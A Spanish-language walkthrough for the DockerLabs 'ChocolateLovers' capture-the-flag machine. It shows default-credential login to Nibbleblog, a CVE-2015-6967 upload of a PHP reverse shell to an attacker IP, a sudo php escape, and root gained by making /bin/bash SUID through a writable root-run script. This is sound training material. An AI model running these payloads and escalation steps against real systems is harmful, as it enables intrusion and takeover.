ChocolateLovers DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip chocolatelovers.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh chocolatelovers.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 11:45 EST
Nmap scan report for 172.17.0.2
Host is up (0.000059s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds

Vemos una pagina normal y corriente, pero si inspeccionamos la pagina veremos lo siguiente en el codigo:

<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->
<!-- /nibbleblog -->

Vemos lo que parece ser un directorio, por lo que entraremos a el.

URL = http://<IP>/nibbleblog

Veremos un Software, vamos a realizar un poco de fuzzing a ver que encontramos.

Gobuster

gobuster dir -u http://<IP>/nibbleblog -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/nibbleblog/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 275]
/.htpasswd.txt        (Status: 403) [Size: 275]
/LICENSE.txt          (Status: 200) [Size: 35148]
/README               (Status: 200) [Size: 4628]
/.htpasswd.php        (Status: 403) [Size: 275]
/.htpasswd.html       (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/.htaccess.html       (Status: 403) [Size: 275]
/.htaccess.php        (Status: 403) [Size: 275]
/.htaccess.txt        (Status: 403) [Size: 275]
/admin                (Status: 200) [Size: 2126]
/admin.php            (Status: 200) [Size: 1401]
/content              (Status: 200) [Size: 1352]
/feed.php             (Status: 200) [Size: 1289]
/index.php            (Status: 200) [Size: 5015]
/install.php          (Status: 200) [Size: 78]
/languages            (Status: 200) [Size: 3166]
/plugins              (Status: 200) [Size: 3776]
/sitemap.php          (Status: 200) [Size: 541]
/themes               (Status: 200) [Size: 1740]
/update.php           (Status: 200) [Size: 1792]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Vemos varias cosas interesantes, entre ellas un /admin.php que si entramos dentro veremos un panel de login, vamos a probar a meter credenciales por defecto:

User: admin
Pass: admin

Veremos que si funciona con las credenciales por defecto, por lo que vamos a ver si este software tuviera alguna vulnerabilidad.

Vemos que si tiene una vulnerabilidad asociada al CVE-2015-6967 que es para subir archivos de forma arbitraria.

URL = Exploit CVE-2015-6967 GitHub

Vemos que en la pagina oficial de Exploit D.B. vemos la siguiente linea de codigo:

URL = Exploit D.B. Info

if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
      fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
    elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
      fail_with(Failure::Unknown, 'Unable to upload payload.')
    end

Vemos que nos pone:

Unable to upload payload. Does the server have the My Image plugin installed?

Por lo que vemos parece ser que la pagina tiene que tener instalado el siguiente plugin por lo que nosotros lo instalaremos desde el panel de administrador de la siguiente forma.

Escalate user www-data

En Plugins vemos la siguiente seccion:

Por lo que le daremos a instalar y le daremos a Guardar Cambios una vez echo esto ejecutaremos el exploit de GitHub de la siguiente forma:

shell.php

<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
python3 exploit.py --url http://<IP>/nibbleblog/ --username admin --password admin --payload shell.php

Info:

[+] Login Successful.
[+] Upload likely successfull.
[+] Exploit launched, check for shell.

Vemos que se subio corerctamente, ahora veremos donde se encuentra el contenido del plugin donde se aloja dicho archivo.

Si inspeccionamos el codigo para ver donde lo escribe, veremos que lo guarda aqui:

exploitURL = f"{nibbleURL}content/private/plugins/my_image/image.php"

Por lo que nos iremos a la siguiente URL, pero antes nos pondremos a la escucha.

nc -lvnp <PORT>

Y ahora nos iremos a la siguiente ruta:

URL = http://<IP>/nibbleblog/content/private/plugins/my_image/image.php

Y si volvemos a donde tenemos la escucha, veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.60.128] from (UNKNOWN) [172.17.0.2] 34952
whoami
www-data

Veremos que tendremos una shell como el usuario www-data.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user chocolate

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for www-data on 47ba4eca2fbc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on 47ba4eca2fbc:
    (chocolate) NOPASSWD: /usr/bin/php

Vemos que podemos ejecutar el binario php como el usuario chocolate, por lo que haremos lo siguiente:

CMD="/bin/bash"
sudo -u chocolate php -r "system('$CMD');"

Y con esto veremos que seremos dicho usuario.

Escalate Privileges

Si listamos los procesos de la maquina veremos lo siguiente:

ps -aux

Info:

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   2616  1588 ?        Ss   16:45   0:00 /bin/sh -c service apache2 start && while true; do php /opt/script.php; sleep 5; done
root          25  0.0  0.5 201396 22876 ?        Ss   16:45   0:00 /usr/sbin/apache2 -k start
www-data     230  0.0  0.4 201876 18260 ?        S    16:50   0:01 /usr/sbin/apache2 -k start
www-data     270  0.0  0.4 201920 18996 ?        S    16:50   0:01 /usr/sbin/apache2 -k start
www-data     347  0.0  0.4 202040 18064 ?        S    16:52   0:00 /usr/sbin/apache2 -k start
www-data     352  0.0  0.4 202020 18024 ?        S    16:52   0:00 /usr/sbin/apache2 -k start
www-data     353  0.0  0.4 202036 18500 ?        S    16:52   0:00 /usr/sbin/apache2 -k start
www-data     356  0.0  0.4 201868 17936 ?        S    16:52   0:00 /usr/sbin/apache2 -k start
www-data     368  0.0  0.4 202020 18084 ?        S    16:52   0:00 /usr/sbin/apache2 -k start
www-data     375  0.0  0.4 202044 18432 ?        S    16:52   0:00 /usr/sbin/apache2 -k start
www-data     411  0.0  0.4 202316 19132 ?        S    16:53   0:00 /usr/sbin/apache2 -k start
www-data     441  0.0  0.4 201880 18184 ?        S    16:53   0:00 /usr/sbin/apache2 -k start
www-data     826  0.0  0.0   2616  1548 ?        S    17:09   0:00 sh -c sh
www-data     827  0.0  0.0   2616  1588 ?        S    17:09   0:00 sh
www-data    1003  0.0  0.0   2644  2072 ?        S    17:16   0:00 script /dev/null -c bash
www-data    1004  0.0  0.0   2616  1500 pts/0    Ss   17:16   0:00 sh -c bash
www-data    1005  0.0  0.0   4244  3356 pts/0    S    17:16   0:00 bash
root        1068  0.0  0.0   5012  3492 pts/0    S    17:18   0:00 sudo -u chocolate php -r system('/bin/bash');
chocola+    1069  0.0  0.4  67024 18380 pts/0    S    17:18   0:00 php -r system('/bin/bash');
chocola+    1070  0.0  0.0   2616  1580 pts/0    S    17:18   0:00 sh -c /bin/bash
chocola+    1071  0.0  0.0   4248  3328 pts/0    S    17:18   0:00 /bin/bash
root        1104  0.0  0.0   2516  1344 ?        S    17:19   0:00 sleep 5
chocola+    1105  0.0  0.0   5900  2756 pts/0    R+   17:19   0:00 ps -aux

Vemos la siguiente linea bastante interesante:

/bin/sh -c service apache2 start && while true; do php /opt/script.php; sleep 5; done

Por lo que vemos root esta ejecutando de forma continua con 5 segundos de descanso el script que esta en /opt el cual podremos modificar, por lo que haremos lo siguiente:

echo '<?php echo shell_exec("chmod u+s /bin/bash"); ?>' > /opt/script.php

Esperamos unos 5 segundos y si listamos la bash.

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Vemos que ha funcionado, por lo que haremos lo siguiente:

bash -p

Y con esto ya seremos root por lo que habremos terminado la maquina.

Last updated